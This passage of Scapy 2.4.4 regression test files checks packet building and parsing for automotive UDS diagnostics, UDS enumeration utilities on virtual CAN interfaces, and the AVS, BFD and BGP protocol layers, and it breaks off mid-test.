0x2a assert rsdbpi.transmissionMode == 0x12 assert rsdbpi.periodicDataIdentifier == 0x34 assert rsdbpi.furtherPeriodicDataIdentifier == b'coffee' = Check UDS_RSDBPIPR rsdbpipr = UDS(b'\x6a\xff\x12\x34') assert rsdbpipr.service == 0x6a assert rsdbpipr.periodicDataIdentifier == 255 assert rsdbpipr.dataRecord == b'\x12\x34' assert not rsdbpipr.answers(rsdbpi) = Check UDS_RSDBPIPR rsdbpipr = UDS(b'\x6a\x34\x12\x34') assert rsdbpipr.service == 0x6a assert rsdbpipr.periodicDataIdentifier == 0x34 assert rsdbpipr.dataRecord == b'\x12\x34' assert rsdbpipr.answers(rsdbpi) = Check UDS_DDDI dddi = UDS(b'\x2c\x12coffee') assert dddi.service == 0x2c assert dddi.subFunction == 0x12 assert dddi.dataRecord == b'coffee' = Check UDS_DDDIPR dddipr = UDS(b'\x6c\x12\x44\x55') assert dddipr.service == 0x6c assert dddipr.subFunction == 0x12 assert dddipr.dynamicallyDefinedDataIdentifier == 0x4455 assert dddipr.answers(dddi) = Check UDS_WDBI wdbi = UDS(b'\x2e\x01\x02dieselgate') assert wdbi.service == 0x2e assert wdbi.dataIdentifier == 0x0102 assert wdbi.load == b'dieselgate' = Build UDS_WDBI wdbi = UDS()/UDS_WDBI(dataIdentifier=0x0102)/Raw(load=b'dieselgate') assert wdbi.service == 0x2e assert wdbi.dataIdentifier == 0x0102 assert wdbi.load == b'dieselgate' assert bytes(wdbi) == b'\x2e\x01\x02dieselgate' = Check UDS_WDBI wdbi = UDS(b'\x2e\x01\x02dieselgate') assert wdbi.service == 0x2e assert wdbi.dataIdentifier == 0x0102 assert wdbi.load == b'dieselgate' wdbi = UDS(b'\x2e\x02\x02benzingate') assert wdbi.service == 0x2e assert wdbi.dataIdentifier == 0x0202 assert wdbi.load == b'benzingate' = Check UDS_WDBIPR wdbipr = UDS(b'\x6e\x02\x02') assert wdbipr.service == 0x6e assert wdbipr.dataIdentifier == 0x0202 assert wdbipr.answers(wdbi) = Check UDS_WMBA wmba = UDS(b'\x3d\x11\x02\x02muchData') assert wmba.service == 0x3d assert wmba.memorySizeLen == 1 assert wmba.memoryAddressLen == 1 assert wmba.memoryAddress1 == 2 assert wmba.memorySize1 == 2 assert wmba.dataRecord == b'muchData' = Check UDS_WMBAPR wmbapr = UDS(b'\x7d\x11\x02\x02') assert wmbapr.service == 0x7d assert wmbapr.memorySizeLen == 1 assert wmbapr.memoryAddressLen == 1 assert wmbapr.memoryAddress1 == 2 assert wmbapr.memorySize1 == 2 assert wmbapr.answers(wmba) = Check UDS_WMBA wmba = UDS(b'\x3d\x22\x02\x02\x03\x03muchData') assert wmba.service == 0x3d assert wmba.memorySizeLen == 2 assert wmba.memoryAddressLen == 2 assert wmba.memoryAddress2 == 0x202 assert wmba.memorySize2 == 0x303 assert wmba.dataRecord == b'muchData' = Check UDS_WMBAPR wmbapr = UDS(b'\x7d\x22\x02\x02\x03\x03') assert wmbapr.service == 0x7d assert wmbapr.memorySizeLen == 2 assert wmbapr.memoryAddressLen == 2 assert wmbapr.memoryAddress2 == 0x202 assert wmbapr.memorySize2 == 0x303 assert wmbapr.answers(wmba) = Check UDS_WMBA wmba = UDS(b'\x3d\x33\x02\x02\x02\x03\x03\x03muchData') assert wmba.service == 0x3d assert wmba.memorySizeLen == 3 assert wmba.memoryAddressLen == 3 assert wmba.memoryAddress3 == 0x20202 assert wmba.memorySize3 == 0x30303 assert wmba.dataRecord == b'muchData' = Check UDS_WMBA wmba = UDS(b'\x3d\x44\x02\x02\x02\x02\x03\x03\x03\x03muchData') assert wmba.service == 0x3d assert wmba.memorySizeLen == 4 assert wmba.memoryAddressLen == 4 assert wmba.memoryAddress4 == 0x2020202 assert wmba.memorySize4 == 0x3030303 assert wmba.dataRecord == b'muchData' = Check UDS_WMBAPR wmbapr = UDS(b'\x7d\x33\x02\x02\x02\x03\x03\x03') assert wmbapr.service == 0x7d assert wmbapr.memorySizeLen == 3 assert wmbapr.memoryAddressLen == 3 assert wmbapr.memoryAddress3 == 0x20202 assert wmbapr.memorySize3 == 0x30303 assert not wmbapr.answers(wmba) = Check UDS_WMBAPR wmbapr = UDS(b'\x7d\x44\x02\x02\x02\x02\x03\x03\x03\x03') assert wmbapr.service == 0x7d assert wmbapr.memorySizeLen == 4 assert wmbapr.memoryAddressLen == 4 assert wmbapr.memoryAddress4 == 0x2020202 assert wmbapr.memorySize4 == 0x3030303 assert wmbapr.answers(wmba) = Check UDS_CDTCI cdtci = UDS(b'\x14\x44\x02\x03') assert cdtci.service == 0x14 assert cdtci.groupOfDTCHighByte == 0x44 assert cdtci.groupOfDTCMiddleByte == 0x02 assert cdtci.groupOfDTCLowByte == 0x3 = Check UDS_RDTCI rdtci = UDS(b'\x19\x44') assert rdtci.service == 0x19 assert rdtci.reportType == 0x44 = Check UDS_RDTCI rdtci = UDS(b'\x19\x01\xff') assert rdtci.service == 0x19 assert rdtci.reportType == 0x01 assert rdtci.DTCStatusMask == 0xff = Check UDS_RDTCIPR rdtcipr = UDS(b'\x59\x01\xff\xee\xdd\xaa') assert rdtcipr.service == 0x59 assert rdtcipr.reportType == 1 assert rdtcipr.DTCStatusAvailabilityMask == 0xff assert rdtcipr.DTCFormatIdentifier == 0xee assert rdtcipr.DTCCount == 0xddaa assert rdtcipr.answers(rdtci) = Check UDS_RDTCI rdtci = UDS(b'\x19\x02\xff') assert rdtci.service == 0x19 assert rdtci.reportType == 0x02 assert rdtci.DTCStatusMask == 0xff = Check UDS_RDTCI rdtci = UDS(b'\x19\x0f\xff') assert rdtci.service == 0x19 assert rdtci.reportType == 0x0f assert rdtci.DTCStatusMask == 0xff = Check UDS_RDTCI rdtci = UDS(b'\x19\x11\xff') assert rdtci.service == 0x19 assert rdtci.reportType == 0x11 assert rdtci.DTCStatusMask == 0xff = Check UDS_RDTCI rdtci = UDS(b'\x19\x12\xff') assert rdtci.service == 0x19 assert rdtci.reportType == 0x12 assert rdtci.DTCStatusMask == 0xff = Check UDS_RDTCI rdtci = UDS(b'\x19\x13\xff') assert rdtci.service == 0x19 assert rdtci.reportType == 0x13 assert rdtci.DTCStatusMask == 0xff = Check UDS_RDTCI rdtci = UDS(b'\x19\x03\xff\xee\xdd\xaa') assert rdtci.service == 0x19 assert rdtci.reportType == 0x03 assert rdtci.DTCHighByte == 0xff assert rdtci.DTCMiddleByte == 0xee assert rdtci.DTCLowByte == 0xdd assert rdtci.DTCSnapshotRecordNumber == 0xaa = Check UDS_RDTCI rdtci = UDS(b'\x19\x04\xff\xee\xdd\xaa') assert rdtci.service == 0x19 assert rdtci.reportType == 0x04 assert rdtci.DTCHighByte == 0xff assert rdtci.DTCMiddleByte == 0xee assert rdtci.DTCLowByte == 0xdd assert rdtci.DTCSnapshotRecordNumber == 0xaa = Check UDS_RDTCI rdtci = UDS(b'\x19\x05\xaa') assert rdtci.service == 0x19 assert rdtci.reportType == 0x05 assert rdtci.DTCSnapshotRecordNumber == 0xaa = Check UDS_RDTCI rdtci = UDS(b'\x19\x06\xff\xee\xdd\xaa') assert rdtci.service == 0x19 assert rdtci.reportType == 0x06 assert rdtci.DTCHighByte == 0xff assert rdtci.DTCMiddleByte == 0xee assert rdtci.DTCLowByte == 0xdd assert rdtci.DTCExtendedDataRecordNumber == 0xaa = Check UDS_RDTCI rdtci = UDS(b'\x19\x07\xaa\xbb') assert rdtci.service == 0x19 assert rdtci.reportType == 0x07 assert rdtci.DTCSeverityMask == 0xaa assert rdtci.DTCStatusMask == 0xbb = Check UDS_RDTCI rdtci = UDS(b'\x19\x08\xaa\xbb') assert rdtci.service == 0x19 assert rdtci.reportType == 0x08 assert rdtci.DTCSeverityMask == 0xaa assert rdtci.DTCStatusMask == 0xbb = Check UDS_RDTCI rdtci = UDS(b'\x19\x09\xff\xee\xdd') assert rdtci.service == 0x19 assert rdtci.reportType == 0x09 assert rdtci.DTCHighByte == 0xff assert rdtci.DTCMiddleByte == 0xee assert rdtci.DTCLowByte == 0xdd = Check UDS_RDTCI rdtci = UDS(b'\x19\x10\xff\xee\xdd\xaa') assert rdtci.service == 0x19 assert rdtci.reportType == 0x10 assert rdtci.DTCHighByte == 0xff assert rdtci.DTCMiddleByte == 0xee assert rdtci.DTCLowByte == 0xdd assert rdtci.DTCExtendedDataRecordNumber == 0xaa = Check UDS_RDTCIPR rdtcipr = UDS(b'\x59\x02\xff\xee\xdd\xaa') assert rdtcipr.service == 0x59 assert rdtcipr.reportType == 2 assert rdtcipr.DTCStatusAvailabilityMask == 0xff assert rdtcipr.DTCAndStatusRecord == b'\xee\xdd\xaa' assert not rdtcipr.answers(rdtci) = Check UDS_RDTCIPR rdtcipr = UDS(b'\x59\x03\xff\xee\xdd\xaa') assert rdtcipr.service == 0x59 assert rdtcipr.reportType == 3 assert rdtcipr.dataRecord == b'\xff\xee\xdd\xaa' = Check UDS_RC rc = UDS(b'\x31\x03\xff\xee\xdd\xaa') assert rc.service == 0x31 assert rc.routineControlType == 3 assert rc.routineIdentifier == 0xffee assert rc.routineControlOptionRecord == b'\xdd\xaa' = Check UDS_RC rc = UDS(b'\x31\x03\xff\xee\xdd\xaa') assert rc.service == 0x31 assert rc.routineControlType == 3 assert rc.routineIdentifier == 0xffee assert rc.routineControlOptionRecord == b'\xdd\xaa' = Check UDS_RCPR rcpr = UDS(b'\x71\x03\xff\xee\xdd\xaa') assert rcpr.service == 0x71 assert rcpr.routineControlType == 3 assert rcpr.routineIdentifier == 0xffee assert rcpr.routineStatusRecord == b'\xdd\xaa' = Check UDS_RD rd = UDS(b'\x34\xaa\x11\x02\x02') assert rd.service == 0x34 assert rd.dataFormatIdentifier == 0xaa assert rd.memorySizeLen == 1 assert rd.memoryAddressLen == 1 assert rd.memoryAddress1 == 2 assert rd.memorySize1 == 2 = Check UDS_RD rd = UDS(b'\x34\xaa\x22\x02\x02\x03\x03') assert rd.service == 0x34 assert rd.dataFormatIdentifier == 0xaa assert rd.memorySizeLen == 2 assert rd.memoryAddressLen == 2 assert rd.memoryAddress2 == 0x202 assert rd.memorySize2 == 0x303 = Check UDS_RD rd = UDS(b'\x34\xaa\x33\x02\x02\x02\x03\x03\x03') assert rd.service == 0x34 assert rd.dataFormatIdentifier == 0xaa assert rd.memorySizeLen == 3 assert rd.memoryAddressLen == 3 assert rd.memoryAddress3 == 0x20202 assert rd.memorySize3 == 0x30303 = Check UDS_RD rd = UDS(b'\x34\xaa\x44\x02\x02\x02\x02\x03\x03\x03\x03') assert rd.service == 0x34 assert rd.dataFormatIdentifier == 0xaa assert rd.memorySizeLen == 4 assert rd.memoryAddressLen == 4 assert rd.memoryAddress4 == 0x2020202 assert rd.memorySize4 == 0x3030303 = Check UDS_RDPR rdpr = UDS(b'\x74\x40\x02\x02\x02\x02\x03\x03\x03\x03') assert rdpr.service == 0x74 assert rdpr.memorySizeLen == 4 assert rdpr.reserved == 0 assert rdpr.maxNumberOfBlockLength == b'\x02\x02\x02\x02\x03\x03\x03\x03' assert rdpr.answers(rd) = Check UDS_RU ru = UDS(b'\x35\xaa\x11\x02\x02') assert ru.service == 0x35 assert ru.dataFormatIdentifier == 0xaa assert ru.memorySizeLen == 1 assert ru.memoryAddressLen == 1 assert ru.memoryAddress1 == 2 assert ru.memorySize1 == 2 = Check UDS_RU ru = UDS(b'\x35\xaa\x22\x02\x02\x03\x03') assert ru.service == 0x35 assert ru.dataFormatIdentifier == 0xaa assert ru.memorySizeLen == 2 assert ru.memoryAddressLen == 2 assert ru.memoryAddress2 == 0x202 assert ru.memorySize2 == 0x303 = Check UDS_RU ru = UDS(b'\x35\xaa\x33\x02\x02\x02\x03\x03\x03') assert ru.service == 0x35 assert ru.dataFormatIdentifier == 0xaa assert ru.memorySizeLen == 3 assert ru.memoryAddressLen == 3 assert ru.memoryAddress3 == 0x20202 assert ru.memorySize3 == 0x30303 = Check UDS_RU ru = UDS(b'\x35\xaa\x44\x02\x02\x02\x02\x03\x03\x03\x03') assert ru.service == 0x35 assert ru.dataFormatIdentifier == 0xaa assert ru.memorySizeLen == 4 assert ru.memoryAddressLen == 4 assert ru.memoryAddress4 == 0x2020202 assert ru.memorySize4 == 0x3030303 = Check UDS_RUPR rupr = UDS(b'\x75\x40\x02\x02\x02\x02\x03\x03\x03\x03') assert rupr.service == 0x75 assert rupr.memorySizeLen == 4 assert rupr.reserved == 0 assert rupr.maxNumberOfBlockLength == b'\x02\x02\x02\x02\x03\x03\x03\x03' assert rupr.answers(ru) = Check UDS_TD td = UDS(b'\x36\xaapayload') assert td.service == 0x36 assert td.blockSequenceCounter == 0xaa assert td.transferRequestParameterRecord == b'payload' = Check UDS_TD td = UDS(b'\x36\xaapayload') assert td.service == 0x36 assert td.blockSequenceCounter == 0xaa assert td.transferRequestParameterRecord == b'payload' = Check UDS_TDPR tdpr = UDS(b'\x76\xaapayload') assert tdpr.service == 0x76 assert tdpr.blockSequenceCounter == 0xaa assert tdpr.transferResponseParameterRecord == b'payload' assert tdpr.answers(td) = Check UDS_RTE rte = UDS(b'\x37payload') assert rte.service == 0x37 assert rte.transferRequestParameterRecord == b'payload' = Check UDS_RTEPR rtepr = UDS(b'\x77payload') assert rtepr.service == 0x77 assert rtepr.transferResponseParameterRecord == b'payload' assert rtepr.answers(rte) = Check UDS_IOCBI iocbi = UDS(b'\x2f\x23\x34\xffcoffee') assert iocbi.service == 0x2f assert iocbi.dataIdentifier == 0x2334 assert iocbi.controlOptionRecord == 255 assert iocbi.controlEnableMaskRecord == b'coffee' = Check UDS_NRC nrc = UDS(b'\x7f\x22\x33') assert nrc.service == 0x7f assert nrc.requestServiceId == 0x22 assert nrc.negativeResponseCode == 0x33 scapy-2.4.4/test/contrib/automotive/uds_utils.uts000066400000000000000000000156241372370053500222400ustar00rootroot00000000000000% Regression tests for uds_utils + Configuration ~ conf = Imports load_layer("can", globals_dict=globals()) conf.contribs['CAN']['swap-bytes'] = False import subprocess, sys import scapy.modules.six as six from subprocess import call from scapy.consts import LINUX = Definition of constants, utility functions and mock classes iface0 = "vcan0" iface1 = "vcan1" # function to exit when the can-isotp kernel module is not available ISOTP_KERNEL_MODULE_AVAILABLE = False def exit_if_no_isotp_module(): if not ISOTP_KERNEL_MODULE_AVAILABLE: err = "TEST SKIPPED: can-isotp not available\n" sys.__stderr__.write(err) warning("Can't test ISOTP native socket because kernel module is not loaded") exit(0) = Initialize a virtual CAN interface ~ vcan_socket needs_root linux if 0 != call(["cansend", iface0, "000#"]): # vcan0 is not enabled if 0 != call(["sudo", "modprobe", "vcan"]): raise Exception("modprobe vcan failed") if 0 != call(["sudo", "ip", "link", "add", "name", iface0, "type", "vcan"]): print("add %s failed: Maybe it was already up?" % iface0) if 0 != call(["sudo", "ip", "link", "set", "dev", iface0, "up"]): raise Exception("could not bring up %s" % iface0) if 0 != call(["cansend", iface0, "000#"]): raise Exception("cansend doesn't work") if 0 != call(["cansend", iface1, "000#"]): # vcan1 is not enabled if 0 != call(["sudo", "modprobe", "vcan"]): raise Exception("modprobe vcan failed") if 0 != call(["sudo", "ip", "link", "add", "name", iface1, "type", "vcan"]): print("add %s failed: Maybe it was already up?" % iface1) if 0 != call(["sudo", "ip", "link", "set", "dev", iface1, "up"]): raise Exception("could not bring up %s" % iface1) if 0 != call(["cansend", iface1, "000#"]): raise Exception("cansend doesn't work") print("CAN should work now") = Import CANSocket from scapy.contrib.cansocket_python_can import * new_can_socket = lambda iface: CANSocket(bustype='virtual', channel=iface) new_can_socket0 = lambda: CANSocket(bustype='virtual', channel=iface0, timeout=0.01) new_can_socket1 = lambda: CANSocket(bustype='virtual', channel=iface1, timeout=0.01) # utility function for draining a can interface, asserting that no packets are there def drain_bus(iface=iface0, assert_empty=True): with new_can_socket(iface) as s: pkts = s.sniff(timeout=0.1) if assert_empty: assert len(pkts) == 0 print("CAN sockets should work now") = Overwrite definition for vcan_socket systems native sockets ~ vcan_socket not_pypy needs_root linux if six.PY3 and LINUX: from scapy.contrib.cansocket_native import * new_can_socket = lambda iface: CANSocket(iface) new_can_socket0 = lambda: CANSocket(iface0) new_can_socket1 = lambda: CANSocket(iface1) = Overwrite definition for vcan_socket systems python-can sockets ~ vcan_socket needs_root linux if "python_can" in CANSocket.__module__: new_can_socket = lambda iface: CANSocket(bustype='socketcan', channel=iface, bitrate=250000, timeout=0.01) new_can_socket0 = lambda: CANSocket(bustype='socketcan', channel=iface0, bitrate=250000, timeout=0.01) new_can_socket1 = lambda: CANSocket(bustype='socketcan', channel=iface1, bitrate=250000, timeout=0.01) = Verify that a CAN socket can be created and closed s = new_can_socket(iface0) s.close() = Check if can-isotp and can-utils are installed on this system ~ linux p1 = subprocess.Popen(['lsmod'], stdout = subprocess.PIPE) p2 = subprocess.Popen(['grep', '^can_isotp'], stdout = subprocess.PIPE, stdin=p1.stdout) p1.stdout.close() if p1.wait() == 0 and p2.wait() == 0 and b"can_isotp" in p2.stdout.read(): p = subprocess.Popen(["isotpsend", "-s1", "-d0", iface0], stdin = subprocess.PIPE) p.communicate(b"01") if p.returncode == 0: ISOTP_KERNEL_MODULE_AVAILABLE = True + Syntax check = Import isotp conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': ISOTP_KERNEL_MODULE_AVAILABLE} if six.PY3: import importlib if "scapy.contrib.isotp" in sys.modules: importlib.reload(scapy.contrib.isotp) load_contrib("isotp", globals_dict=globals()) if six.PY3 and ISOTP_KERNEL_MODULE_AVAILABLE: assert ISOTPSocket == ISOTPNativeSocket else: assert ISOTPSocket == ISOTPSoftSocket ############ ############ + Load general modules = Load contribution layer load_contrib("automotive.uds", globals_dict=globals()) = Test Session Enumerator drain_bus(iface0) drain_bus(iface1) packet = ISOTP('Request') succ = False with new_can_socket0() as isocan1, ISOTPSocket(isocan1, sid=0x241, did=0x641, basecls=UDS) as sendSock, \ new_can_socket0() as isocan2, ISOTPSocket(isocan2, sid=0x641, did=0x241, basecls=UDS) as recvSock: def answer(pkt): pkt.service = pkt.service + 0x40 recvSock.send(pkt) def sniffer(): global sniffed, succ sniffed = 0 pkts = recvSock.sniff(timeout=10, prn=answer) sniffed = len(pkts) succ = True threadSniffer = threading.Thread(target=sniffer) threadSniffer.start() sessions = UDS_SessionEnumerator(sendSock, session_range=range(3)) threadSniffer.join() assert sniffed == 3*2 assert succ = Test Service Enumerator drain_bus(iface0) drain_bus(iface1) packet = ISOTP('Request') succ = False with new_can_socket0() as isocan1, ISOTPSocket(isocan1, sid=0x241, did=0x641, basecls=UDS) as sendSock, \ new_can_socket0() as isocan2, ISOTPSocket(isocan2, sid=0x641, did=0x241, basecls=UDS) as recvSock: def answer(pkt): pkt.service = pkt.service + 0x40 if pkt.service == 0x7f: pkt = UDS()/UDS_NR(requestServiceId=0x3f) recvSock.send(pkt) def sniffer(): global sniffed, succ sniffed = 0 pkts = recvSock.sniff(timeout=10, prn=answer) sniffed = len(pkts) succ = True threadSniffer = threading.Thread(target=sniffer) threadSniffer.start() services = UDS_ServiceEnumerator(sendSock) threadSniffer.join() assert sniffed == 128 assert succ = Test getTableEntry a = ('DefaultSession', UDS()/UDS_SAPR()) b = ('ProgrammingSession', UDS()/UDS_NR(requestServiceId=0x10, negativeResponseCode=0x13)) c = ('ExtendedDiagnosticSession', UDS()/UDS_IOCBI()) res_a = getTableEntry(a) res_b = getTableEntry(b) res_c = getTableEntry(c) print(res_a) print(res_b) print(res_c) #make_lined_table([a, b, c], getTableEntry) assert res_a == ('DefaultSession', '0x27: SecurityAccess', 'PositiveResponse') assert res_b == ('ProgrammingSession', '0x10: DiagnosticSessionControl', 'incorrectMessageLengthOrInvalidFormat') assert res_c == ('ExtendedDiagnosticSession', '0x2f: InputOutputControlByIdentifier', 'PositiveResponse') + Cleanup = Delete vcan interfaces ~ vcan_socket needs_root linux if 0 != call(["sudo", "ip", "link", "delete", iface0]): raise Exception("%s could not be deleted" % iface0) if 0 != call(["sudo", "ip", "link", "delete", iface1]): raise Exception("%s could not be deleted" % iface1) scapy-2.4.4/test/contrib/avs.uts000066400000000000000000000006111372370053500166100ustar00rootroot00000000000000% Regression tests for the avs module + Basic AVS test = Default build, storage and dissection pkt = AVSWLANHeader()/Dot11()/Dot11Auth() _filepath = get_temp_file(autoext=".pcap") wrpcap(_filepath, pkt) pkt1 = rdpcap(_filepath)[0] assert raw(pkt) == raw(pkt1) assert AVSWLANHeader in pkt assert Dot11 in pkt assert Dot11Auth in pkt try: os.remove(_filepath) except Exception: pass scapy-2.4.4/test/contrib/bfd.uts000066400000000000000000000003341372370053500165540ustar00rootroot00000000000000+ BFD = BFD, basic instantiation a = UDP()/BFD() assert raw(a) == b'\x0e\xc8\x0e\xc8\x00 \x00\x00 \xc0\x03\x18\x11\x11\x11\x11"""";\x9a\xca\x00;\x9a\xca\x00;\x9a\xca\x00' = BFD - dissection assert BFD in UDP(raw(a)) scapy-2.4.4/test/contrib/bgp.uts000066400000000000000000001057511372370053500166020ustar00rootroot00000000000000#################################### bgp.py ################################## % Regression tests for the bgp module # Default configuration : OLD speaker (see RFC 6793) bgp_module_conf.use_2_bytes_asn = True ################################ BGPNLRI_IPv4 ################################ + BGPNLRI_IPv4 class tests = BGPNLRI_IPv4 - Instantiation raw(BGPNLRI_IPv4()) == b'\x00' = BGPNLRI_IPv4 - Instantiation with specific values (1) raw(BGPNLRI_IPv4(prefix = '255.255.255.255/32')) == b' \xff\xff\xff\xff' = BGPNLRI_IPv4 - Instantiation with specific values (2) raw(BGPNLRI_IPv4(prefix = '0.0.0.0/0')) == b'\x00' = BGPNLRI_IPv4 - Instantiation with specific values (3) raw(BGPNLRI_IPv4(prefix = '192.0.2.0/24')) == b'\x18\xc0\x00\x02' = BGPNLRI_IPv4 - Basic dissection nlri = BGPNLRI_IPv4(b'\x00') nlri.prefix == '0.0.0.0/0' = BGPNLRI_IPv4 - Dissection with specific values nlri = BGPNLRI_IPv4(b'\x18\xc0\x00\x02') nlri.prefix == '192.0.2.0/24' ################################ BGPNLRI_IPv6 ################################ + BGPNLRI_IPv6 class tests = BGPNLRI_IPv6 - Instantiation raw(BGPNLRI_IPv6()) == b'\x00' = BGPNLRI_IPv6 - Instantiation with specific values (1) raw(BGPNLRI_IPv6(prefix = '::/0')) == b'\x00' = BGPNLRI_IPv6 - Instantiation with specific values (2) raw(BGPNLRI_IPv6(prefix = '2001:db8::/32')) == b' \x01\r\xb8' = BGPNLRI_IPv6 - Basic dissection nlri = BGPNLRI_IPv6(b'\x00') nlri.prefix == '::/0' = BGPNLRI_IPv6 - Dissection with specific values nlri = BGPNLRI_IPv6(b' \x01\r\xb8') nlri.prefix == '2001:db8::/32' #################################### BGP ##################################### + BGP class tests = BGP - Instantiation (Should be a KEEPALIVE) m = BGP() assert(raw(m) == b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x04') assert(m.type == BGP.KEEPALIVE_TYPE) = BGP - Instantiation with specific values (1) raw(BGP(type = 0)) == b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x00' = BGP - Instantiation with specific values (2) raw(BGP(type = 1)) == b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x01' = BGP - Instantiation with specific values (3) raw(BGP(type = 2)) == b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x02' = BGP - Instantiation with specific values (4) raw(BGP(type = 3)) == b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x03' = BGP - Instantiation with specific values (5) raw(BGP(type = 4)) == b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x04' = BGP - Instantiation with specific values (6) raw(BGP(type = 5)) == b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x05' = BGP - Basic dissection h = BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x04') assert(h.type == BGP.KEEPALIVE_TYPE) assert(h.len == 19) = BGP - Dissection with specific values h = BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x01') assert(h.type == BGP.OPEN_TYPE) assert(h.len == 19) ############################### BGPKeepAlive ################################# + BGPKeepAlive class tests = BGPKeepAlive - Instantiation (by default, should be a "generic" capability) raw(BGPKeepAlive()) raw(BGPKeepAlive()) == b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x04' = BGPKeepAlive - Swallowing tests: combined BGPKeepAlive o = BGPKeepAlive() m=IP(src="12.0.0.1",dst="12.0.0.2")/TCP(dport=54321)/BGP(raw(o)*2) m.show() assert isinstance(m[BGPKeepAlive].payload, BGPKeepAlive) assert m[BGPKeepAlive].payload.marker == 0xffffffffffffffffffffffffffffffff ############################### BGPCapability ################################# + BGPCapability class tests = BGPCapability - Instantiation (by default, should be a "generic" capability) raw(BGPCapability()) raw(BGPCapability()) == b'\x00\x00' = BGPCapability - Instantiation with specific values (1) c = BGPCapability(code = 70) assert(raw(c) == b'F\x00') = BGPCapability - Check exception from scapy.contrib.bgp import _BGPInvalidDataException try: BGPCapability("\x00") False except _BGPInvalidDataException: True = BGPCapability - Test haslayer() assert BGPCapFourBytesASN().haslayer(BGPCapability) assert BGPCapability in BGPCapFourBytesASN() = BGPCapability - Test getlayer() assert isinstance(BGPCapFourBytesASN().getlayer(BGPCapability), BGPCapFourBytesASN) assert isinstance(BGPCapFourBytesASN()[BGPCapability], BGPCapFourBytesASN) = BGPCapability - sessions (1) p = IP()/TCP()/BGPCapability() l = PacketList(p) s = l.sessions() # Crashed on commit: e42ecdc54556c4852ca06b1a6da6c1ccbf3f522e assert len(s) == 1 = BGPCapability - sessions (2) p = IP()/UDP()/BGPCapability() l = PacketList(p) s = l.sessions() # Crashed on commit: e42ecdc54556c4852ca06b1a6da6c1ccbf3f522e assert len(s) == 1 ############################ BGPCapMultiprotocol ############################## + BGPCapMultiprotocol class tests = BGPCapMultiprotocol - Inheritance c = BGPCapMultiprotocol() assert(isinstance(c, BGPCapability)) = BGPCapMultiprotocol - Instantiation raw(BGPCapMultiprotocol()) == b'\x01\x04\x00\x00\x00\x00' = BGPCapMultiprotocol - Instantiation with specific values (1) raw(BGPCapMultiprotocol(afi = 1, safi = 1)) == b'\x01\x04\x00\x01\x00\x01' = BGPCapMultiprotocol - Instantiation with specific values (2) raw(BGPCapMultiprotocol(afi = 2, safi = 1)) == b'\x01\x04\x00\x02\x00\x01' = BGPCapMultiprotocol - Dissection with specific values c = BGPCapMultiprotocol(b'\x01\x04\x00\x02\x00\x01') assert(c.code == 1) assert(c.length == 4) assert(c.afi == 2) assert(c.reserved == 0) assert(c.safi == 1) ############################### BGPCapORFBlock ############################### + BGPCapORFBlock class tests = BGPCapORFBlock - Instantiation raw(BGPCapORFBlock()) == b'\x00\x00\x00\x00\x00' = BGPCapORFBlock - Instantiation with specific values (1) raw(BGPCapORFBlock(afi = 1, safi = 1)) == b'\x00\x01\x00\x01\x00' = BGPCapORFBlock - Instantiation with specific values (2) raw(BGPCapORFBlock(afi = 2, safi = 1)) == b'\x00\x02\x00\x01\x00' = BGPCapORFBlock - Basic dissection c = BGPCapORFBlock(b'\x00\x00\x00\x00\x00') c.afi == 0 and c.reserved == 0 and c.safi == 0 and c.orf_number == 0 = BGPCapORFBlock - Dissection with specific values c = BGPCapORFBlock(b'\x00\x02\x00\x01\x00') c.afi == 2 and c.reserved == 0 and c.safi == 1 and c.orf_number == 0 ############################# BGPCapORFBlock.ORF ############################## + BGPCapORFBlock.ORF class tests = BGPCapORFBlock.ORF - Instantiation raw(BGPCapORFBlock.ORFTuple()) == b'\x00\x00' = BGPCapORFBlock.ORF - Instantiation with specific values (1) raw(BGPCapORFBlock.ORFTuple(orf_type = 64, send_receive = 3)) == b'@\x03' = BGPCapORFBlock.ORF - Basic dissection c = BGPCapORFBlock.ORFTuple(b'\x00\x00') c.orf_type == 0 and c.send_receive == 0 = BGPCapORFBlock.ORF - Dissection with specific values c = BGPCapORFBlock.ORFTuple(b'@\x03') c.orf_type == 64 and c.send_receive == 3 ################################# BGPCapORF ################################### + BGPCapORF class tests = BGPCapORF - Inheritance c = BGPCapORF() assert(isinstance(c, BGPCapability)) = BGPCapORF - Instantiation raw(BGPCapORF()) == b'\x03\x00' = BGPCapORF - Instantiation with specific values (1) raw(BGPCapORF(orf = [BGPCapORFBlock(afi = 1, safi = 1, entries = [BGPCapORFBlock.ORFTuple(orf_type = 64, send_receive = 3)])])) == b'\x03\x07\x00\x01\x00\x01\x01@\x03' = BGPCapORF - Instantiation with specific values (2) raw(BGPCapORF(orf = [BGPCapORFBlock(afi = 1, safi = 1, entries = [BGPCapORFBlock.ORFTuple(orf_type = 64, send_receive = 3)]), BGPCapORFBlock(afi = 2, safi = 1, entries = [BGPCapORFBlock.ORFTuple(orf_type = 64, send_receive = 3)])])) == b'\x03\x0e\x00\x01\x00\x01\x01@\x03\x00\x02\x00\x01\x01@\x03' = BGPCapORF - Basic dissection c = BGPCapORF(b'\x03\x00') c.code == 3 and c.length == 0 = BGPCapORF - Dissection with specific values c = BGPCapORF(orf = [BGPCapORFBlock(afi = 1, safi = 1, entries = [BGPCapORFBlock.ORFTuple(orf_type = 64, send_receive = 3)]), BGPCapORFBlock(afi = 2, safi = 1, entries = [BGPCapORFBlock.ORFTuple(orf_type = 64, send_receive = 3)])]) c.code == 3 and c.orf[0].afi == 